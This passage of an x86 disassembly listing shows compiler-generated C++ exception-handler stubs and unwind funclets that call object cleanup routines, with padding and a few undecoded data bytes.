SEH_417B10	proc near		; DATA XREF: sub_417B10+2o
		mov	eax, offset dword_440BE8
		jmp	sub_436868
SEH_417B10	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A99B:				; DATA XREF: ___:00440C4Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417BD0	proc near		; DATA XREF: sub_417BD0+2o
		mov	eax, offset dword_440C20
		jmp	sub_436868
SEH_417BD0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A9EB:				; DATA XREF: ___:00440C94o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417C70	proc near		; DATA XREF: sub_417C70+2o
		mov	eax, offset dword_440C68
		jmp	sub_436868
SEH_417C70	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AA3B:				; DATA XREF: ___:00440CDCo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417D10	proc near		; DATA XREF: sub_417D10+2o
		mov	eax, offset dword_440CB0
		jmp	sub_436868
SEH_417D10	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AAAE:				; DATA XREF: ___:00440D34o
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417DE0	proc near		; DATA XREF: sub_417DE0+2o
		mov	eax, offset dword_440D08
		jmp	sub_436868
SEH_417DE0	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AB0B:				; DATA XREF: ___:00440D7Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417F00	proc near		; DATA XREF: sub_417F00+2o
		mov	eax, offset dword_440D50
		jmp	sub_436868
SEH_417F00	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AB6B:				; DATA XREF: ___:00440DCCo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417FC0	proc near		; DATA XREF: sub_417FC0+2o
		mov	eax, offset dword_440DA0
		jmp	sub_436868
SEH_417FC0	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418080	proc near		; DATA XREF: sub_418080+2o
		mov	eax, offset dword_440DF0
		jmp	sub_436868
SEH_418080	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418130	proc near		; DATA XREF: sub_418130+2o
		mov	eax, offset dword_440E20
		jmp	sub_436868
SEH_418130	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4181B0	proc near		; DATA XREF: sub_4181B0+2o
		mov	eax, offset dword_440E50
		jmp	sub_436868
SEH_4181B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AC2B:				; DATA XREF: ___:00440EACo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418260	proc near		; DATA XREF: sub_418260+2o
		mov	eax, offset dword_440E80
		jmp	sub_436868
SEH_418260	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AC5B:				; DATA XREF: ___:00440EE4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418340	proc near		; DATA XREF: sub_418340+2o
		mov	eax, offset dword_440EB8
		jmp	sub_436868
SEH_418340	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1B4h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418540	proc near		; DATA XREF: sub_418540+8o
		mov	eax, offset dword_440F00
		jmp	sub_436868
SEH_418540	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-14h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_419160	proc near		; DATA XREF: sub_419160+2o
		mov	eax, offset dword_440F30
		jmp	sub_436868
SEH_419160	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_419220	proc near		; DATA XREF: sub_419220+2o
		mov	eax, offset dword_440F68
		jmp	sub_436868
SEH_419220	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4192D0	proc near		; DATA XREF: sub_4192D0+2o
		mov	eax, offset dword_440F98
		jmp	sub_436868
SEH_4192D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AD3B:				; DATA XREF: ___:00440FF4o
		lea	ecx, [ebp-28Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_419370	proc near		; DATA XREF: sub_419370+2o
		mov	eax, offset dword_440FC8
		jmp	sub_436868
SEH_419370	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-820h]
		jmp	sub_40186B
; ---------------------------------------------------------------------------


loc_43AD6B:				; DATA XREF: ___:0041A238o
		mov	eax, offset dword_441000
		jmp	sub_436868
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-44h]
		and	eax, 1
		test	eax, eax
		jz	locret_43AD96
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43AD96:				; CODE XREF: ___:0043AD88j
		retn
; ---------------------------------------------------------------------------


loc_43AD97:				; DATA XREF: ___:0044105Co
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43ADA7:				; DATA XREF: ___:0041B1A2o
		mov	eax, offset dword_441030
		jmp	sub_436868
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41B4B0	proc near		; DATA XREF: sub_41B4B0+2o
		mov	eax, offset dword_441070
		jmp	sub_436868
SEH_41B4B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43ADE0	proc near		; DATA XREF: ___:004410CCo
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
sub_43ADE0	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		and	eax, 1
		test	eax, eax
		jz	locret_43ADFE
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43ADFE:				; CODE XREF: ___:0043ADF0j
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE07:				; DATA XREF: ___:004410DCo
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41BA00	proc near		; DATA XREF: sub_41BA00+2o
		mov	eax, offset dword_4410A0
		jmp	sub_436868
SEH_41BA00	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41C440	proc near		; DATA XREF: sub_41C440+2o
		mov	eax, offset dword_4410E8
		jmp	sub_436868
SEH_41C440	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE8B:				; DATA XREF: ___:0044116Co
		lea	ecx, [ebp-0DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-94h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-7Ch]
		jmp	sub_4014B0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41C6C0	proc near		; DATA XREF: sub_41C6C0+2o
		mov	eax, offset dword_441140
		jmp	sub_436868
SEH_41C6C0	endp

; ---------------------------------------------------------------------------
		db 59h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B018:				; DATA XREF: ___:00441274o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41D5F0	proc near		; DATA XREF: sub_41D5F0+2o
		mov	eax, offset dword_441248
		jmp	sub_436868
SEH_41D5F0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B058:				; DATA XREF: ___:004412BCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41D680	proc near		; DATA XREF: sub_41D680+2o
		mov	eax, offset dword_441290
		jmp	sub_436868
SEH_41D680	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B098:				; DATA XREF: ___:00441304o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 50h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 65h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41D720	proc near		; DATA XREF: sub_41D720+2o
		mov	eax, offset dword_4412D8
		jmp	sub_436868
SEH_41D720	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B0F8:				; DATA XREF: ___:0044135Co
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 50h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 65h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41D810	proc near		; DATA XREF: sub_41D810+2o
		mov	eax, offset dword_441330
		jmp	sub_436868
SEH_41D810	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1140h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B192:				; DATA XREF: sub_41D8E0+8o
		mov	eax, offset dword_441388
		jmp	sub_436868
; ---------------------------------------------------------------------------
		db 14h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41E1F0	proc near		; DATA XREF: sub_41E1F0+2o
		mov	eax, offset dword_4413E0
		jmp	sub_436868
SEH_41E1F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41E4B0	proc near		; DATA XREF: sub_41E4B0+2o
		mov	eax, offset dword_441420
		jmp	sub_436868
SEH_41E4B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-48h]
		jmp	sub_401816
; ---------------------------------------------------------------------------


loc_43B228:				; DATA XREF: ___:0044149Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-48h]
		jmp	sub_401253
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41E710	proc near		; DATA XREF: sub_41E710+8o
		mov	eax, offset dword_441470
		jmp	sub_436868
SEH_41E710	endp

; ---------------------------------------------------------------------------
asc_43B28A	db '̸',0
		dw 4415h
		dd 0B5AEE900h, 0CCCCFFFFh, 0CCCCCCCCh, 0E68C8D8Dh, 5BE9FFFFh
		dd 8DFFFC5Fh, 0FFE6A48Dh, 5F50E9FFh, 8D8DFFFCh,	0FFFFE6BCh
		dd 0FC5F45E9h, 748D8DFFh, 0E9FFFFE6h, 0FFFC5F3Ah, 0E7048D8Dh
		dd 2FE9FFFFh, 8DFFFC5Fh, 0FFE74C8Dh, 5F24E9FFh,	8D8DFFFCh
		dd 0FFFFE6D4h, 0FC5F19E9h, 348D8DFFh, 0E9FFFFE7h, 0FFFC5F0Eh
		dd 0E6EC8D8Dh, 3E9FFFFh, 8DFFFC5Fh, 0FFE71C8Dh,	5EF8E9FFh
		db 0FCh, 0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41EFE0	proc near		; DATA XREF: sub_41EFE0+8o
		mov	eax, offset dword_441560
		jmp	sub_436868
SEH_41EFE0	endp

; ---------------------------------------------------------------------------
		db 28h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-7Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B368:				; DATA XREF: ___:0044160Co
		lea	ecx, [ebp-64h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41F910	proc near		; DATA XREF: sub_41F910+2o
		mov	eax, offset dword_4415E0
		jmp	sub_436868
SEH_41F910	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-424h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		dw 8D8Dh
		dd 0FFFFFBB4h, 40E3E990h
		db 0C5h, 75h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4201A0	proc near		; DATA XREF: sub_4201A0+2o
		mov	eax, offset dword_441618
		jmp	sub_436868
SEH_4201A0	endp

; ---------------------------------------------------------------------------
		db 14h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-112Ch]
		jmp	sub_401A6E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4205E0	proc near		; DATA XREF: sub_4205E0+8o
		mov	eax, offset dword_441658
		jmp	sub_436868
SEH_4205E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-4FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B3EB:				; DATA XREF: ___:004416B4o
		lea	ecx, [ebp-434h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_420890	proc near		; DATA XREF: sub_420890+2o
		mov	eax, offset dword_441688
		jmp	sub_436868
SEH_420890	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B41B:				; DATA XREF: ___:004416ECo
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B423:				; DATA XREF: ___:004416F4o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B42B:				; DATA XREF: ___:004416FCo
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B443:				; DATA XREF: ___:00441714o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B45B:				; DATA XREF: ___:0044172Co
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B473:				; DATA XREF: ___:00441744o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B48B:				; DATA XREF: ___:0044175Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B49B:				; DATA XREF: ___:0044176Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B4AB:				; DATA XREF: ___:0044177Co
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_420EC0	proc near		; DATA XREF: sub_420EC0+8o
		mov	eax, offset dword_4416C0
		jmp	sub_436868
SEH_420EC0	endp

; ---------------------------------------------------------------------------
		db 33h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		mov	ecx, [ebp-10h]
		push	ecx
		call	j_nullsub_11
		add	esp, 8
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_422700	proc near		; DATA XREF: sub_422700+2o
		mov	eax, offset dword_4417A8
		jmp	sub_436868
SEH_422700	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		mov	ecx, [ebp-10h]
		push	ecx
		call	j_nullsub_11
		add	esp, 8
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_422790	proc near		; DATA XREF: sub_422790+2o
		mov	eax, offset dword_4417D8
		jmp	sub_436868
SEH_422790	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4228A0	proc near		; DATA XREF: sub_4228A0+2o
		mov	eax, offset dword_441808
		jmp	sub_436868
SEH_4228A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-624h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
